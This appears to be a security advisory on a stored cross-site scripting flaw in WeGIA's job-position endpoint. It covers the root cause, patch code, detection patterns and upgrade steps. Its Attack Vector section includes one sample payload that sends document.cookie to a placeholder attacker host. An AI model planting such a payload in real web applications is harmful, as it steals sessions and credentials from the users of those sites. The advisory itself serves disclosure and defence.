CVE-2025-22618: WeGIA Stored XSS Vulnerability

CVE-2025-22618 Overview

CVE-2025-22618 is a stored Cross-Site Scripting (XSS) vulnerability in WeGIA, an open source web manager for charitable institutions with a focus on the Portuguese language. The flaw resides in the adicionar_cargo.php endpoint, which fails to validate and sanitize the cargo parameter submitted via HTTP POST. Attackers can inject malicious JavaScript that is persisted in the database and executed in any user's browser when the affected page is rendered. The issue is tracked under [CWE-79] and has been resolved in WeGIA release 3.2.6.

Critical Impact
Authenticated attackers can inject persistent JavaScript into the cargo field, resulting in session compromise, credential theft, or unauthorized actions performed in the context of any user viewing the affected page.

Affected Products

WeGIA (LabRedesCefetRJ/WeGIA)
All versions prior to 3.2.6
Deployments exposing the dao/adicionar_cargo.php endpoint

Discovery Timeline

2025-01-13 - CVE-2025-22618 published to NVD
2026-06-17 - Last updated in NVD database

Technical Details for CVE-2025-22618

Vulnerability Analysis

The vulnerability affects the dao/adicionar_cargo.php endpoint, which handles the creation of new job positions (cargo) in the WeGIA application. The endpoint accepts a cargo parameter via HTTP POST and inserts the value into the cargo database table without input validation or output encoding. When the stored value is later returned by dao/exibir_cargo.php and rendered in the browser, any embedded JavaScript executes in the victim's session context.

Because the payload is persisted server-side, exploitation is passive from the attacker's perspective. Every user who accesses a page displaying job positions becomes a victim. Impact includes session cookie theft, forced browser actions, phishing overlays, and pivoting into administrative workflows within the WeGIA interface.

Root Cause

The root cause is missing input sanitization on write and missing output encoding on read. The original code stored the raw $_POST["cargo"] value directly and returned it to clients without applying htmlspecialchars(). The endpoint also lacked authentication and authorization checks, allowing unauthenticated writes to the cargo table.

Attack Vector

An attacker submits a POST request to dao/adicionar_cargo.php with a cargo parameter containing a JavaScript payload such as <script>fetch('//attacker/'+document.cookie)</script>. The payload is stored and executed on every subsequent render of the job position list.

php

// Patch: dao/adicionar_cargo.php
<?php
require_once 'Conexao.php';
require_once '../html/permissao/permissao.php';

// Verify authenticated session and required permissions
session_start();
permissao($_SESSION['id_pessoa'], 11, 3);

$cargo = trim(filter_input(INPUT_POST, 'cargo', FILTER_SANITIZE_STRING));

if (!$cargo || empty($cargo)) {
    http_response_code(400);
    exit('Erro, a descrição fornecida para o cargo não pode ser vazia.');
}

try {
    $sql = "INSERT INTO cargo(cargo) VALUES (:cargo)";
    $pdo = Conexao::connect();
    $stmt = $pdo->prepare($sql);
    $stmt->bindParam(':cargo', $cargo);
    $stmt->execute();
} catch (PDOException $e) {
    http_response_code(500);
    echo 'Erro ao adicionar novo cargo: '.$e->getMessage();
}

Source: WeGIA commit f3b1cd9

The companion fix in dao/exibir_cargo.php applies htmlspecialchars() when returning stored values, providing defense-in-depth against any payloads that bypass input filtering.

Detection Methods for CVE-2025-22618

Indicators of Compromise

HTTP POST requests to /dao/adicionar_cargo.php containing <script>, onerror=, javascript:, or encoded variants in the cargo parameter.
Rows in the cargo database table with values containing HTML or JavaScript syntax rather than plain job position names.
Unexpected outbound connections from user browsers rendering the job position page, indicating cookie or session exfiltration.

Detection Strategies

Deploy web application firewall (WAF) rules that inspect POST bodies to WeGIA endpoints for XSS signatures and reflected script tags.
Query the cargo table for values matching regular expressions such as <[a-z]+ or on[a-z]+= to identify existing stored payloads.
Review web server access logs for anomalous requests to adicionar_cargo.php from unauthenticated sessions.

Monitoring Recommendations

Enable Content Security Policy (CSP) reporting to capture blocked inline script execution attempts against WeGIA pages.
Alert on database write operations to the cargo table originating outside of normal administrative workflows.
Monitor authenticated user browser telemetry for suspicious script activity when browsing WeGIA management pages.

How to Mitigate CVE-2025-22618

Immediate Actions Required

Upgrade WeGIA to version 3.2.6 or later, which includes commit f3b1cd9 fixing both the input handling and output encoding.
Audit the cargo table and remove any existing rows containing HTML or JavaScript payloads.
Rotate session identifiers for all active users to invalidate any sessions potentially hijacked via injected scripts.

Patch Information

The vulnerability is fixed in WeGIA 3.2.6. The patch adds authentication and permission checks via permissao(), applies FILTER_SANITIZE_STRING to the cargo input, and calls htmlspecialchars() on output in dao/exibir_cargo.php. See the GitHub Security Advisory GHSA-2775-42rh-535q and the upstream commit for full technical details.

Workarounds

No official workarounds exist. The vendor advises upgrading to 3.2.6 as the only supported remediation.
As a temporary compensating control, restrict network access to the WeGIA application to trusted administrators until the patch is applied.
Deploy a WAF policy that blocks POST requests to dao/adicionar_cargo.php containing HTML tags or JavaScript event handlers.

bash

# Verify installed WeGIA version and upgrade
cd /path/to/WeGIA
git fetch --tags
git checkout 3.2.6

# Optional: audit the cargo table for stored payloads
mysql -u <user> -p <database> -e \
  "SELECT id, cargo FROM cargo WHERE cargo REGEXP '<[a-zA-Z]+|on[a-z]+=|javascript:';"